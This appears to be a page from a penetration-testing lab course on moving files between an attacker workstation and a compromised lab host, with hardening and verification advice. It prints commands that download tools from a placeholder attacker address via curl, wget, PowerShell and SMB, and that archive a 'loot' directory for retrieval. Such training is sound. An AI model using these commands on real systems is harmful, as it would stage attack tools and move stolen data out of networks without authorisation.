Direction
Decide whether the lab host pulls from you or you pull from it. Prefer the direction that requires the fewest new listeners and firewall changes.
Module 09 // controlled movement
Choose the smallest reliable lab channel, bind it to the intended interface, verify the artifact at both ends, and tear the channel down when the transfer is complete.
pe status
pe vpn route "$IP"
umask 077
mkdir -p transfer
chmod 700 transfer
Decide whether the lab host pulls from you or you pull from it. Prefer the direction that requires the fewest new listeners and firewall changes.
Use the VPN or explicitly authorized lab address. Bind temporary services to that address rather than every interface.
Record the expected filename, size and SHA-256 before transfer. Keep tooling separate from collected evidence.
Start the channel immediately before use, watch its terminal, then stop it as soon as both ends verify the file.
HTTP is convenient for one-way lab downloads when credentials are not required. Serve only a dedicated staging directory and bind to the lab-facing address.
# workstation: serve ./transfer on the lab interface
python3 -m http.server 8000 \
--bind <ATTACKER_VPN_IP> --directory ./transfer
# Linux lab host
curl -fLO http://<ATTACKER_VPN_IP>:8000/tool
# or
wget -O tool http://<ATTACKER_VPN_IP>:8000/tool
# Windows PowerShell lab host
Invoke-WebRequest -UseBasicParsing -Uri 'http://<ATTACKER_VPN_IP>:8000/tool.exe' -OutFile "$env:TEMP\tool.exe"
ss -ltnp on the workstation and confirm the listener address before sharing the URL.When SSH is already exposed and the supplied account is authorized, SCP/SFTP provides an authenticated channel without adding a new service.
# upload a tool to the authorized lab account
scp -p ./transfer/tool user@"$IP":/tmp/tool
# retrieve a result into the private staging directory
scp user@"$IP":/tmp/result.txt ./transfer/
# interactive, inspect-before-transfer workflow
sftp user@"$IP"
Use the least-privileged destination available, avoid overwriting system files, and set executable permission only when the lab task requires it.
SMB is useful for Windows-oriented labs. Share only the staging directory, bind the server to the lab address, and use short-lived credentials if the exercise supports them.
# workstation: temporary read-only lab share
SMB_SERVER=$(command -v smbserver.py || command -v impacket-smbserver)
sudo "$SMB_SERVER" -smb2support -readonly \
-ip <ATTACKER_VPN_IP> transfer ./transfer
# Windows CMD lab host
copy \\<ATTACKER_VPN_IP>\transfer\tool.exe %TEMP%\tool.exe
# Windows PowerShell lab host
Copy-Item '\\<ATTACKER_VPN_IP>\transfer\tool.exe' "$env:TEMP\tool.exe"
# Linux lab host
smbclient "//<ATTACKER_VPN_IP>/transfer" -N -c 'get tool'
Archive a known directory rather than serving a broad tree. List the archive before transfer and inspect paths again before extracting on the receiving side.
tar --create --gzip --file transfer/evidence.tgz \
--directory loot .
tar --list --gzip --file transfer/evidence.tgz
# extract into a dedicated directory
mkdir -p received
tar --extract --gzip --file transfer/evidence.tgz \
--directory received
Avoid archives containing absolute paths or unexpected parent-directory components. Treat collected evidence as private even when the archive itself is compressed.
# sender
sha256sum transfer/tool
# receiver
sha256sum toolGet-FileHash "$env:TEMP\tool.exe" -Algorithm SHA256Compare the complete digest out of band with the sender value. Also check the file size and type; a successful HTTP status or copy command does not prove the artifact is the one intended.
wc -c < transfer/tool
file transfer/tool
Confirm both endpoints and the lab interface. Re-run pe vpn route for the target.
Use ss -ltnp to verify the expected address and port, then inspect the serving terminal.
Check the exact URL/share name, filename case, destination permissions and returned status.
Verify hash, architecture and file type before assuming a transfer problem is an execution problem.
pe backup.No file-transfer topic matches that filter. Press Esc to reset.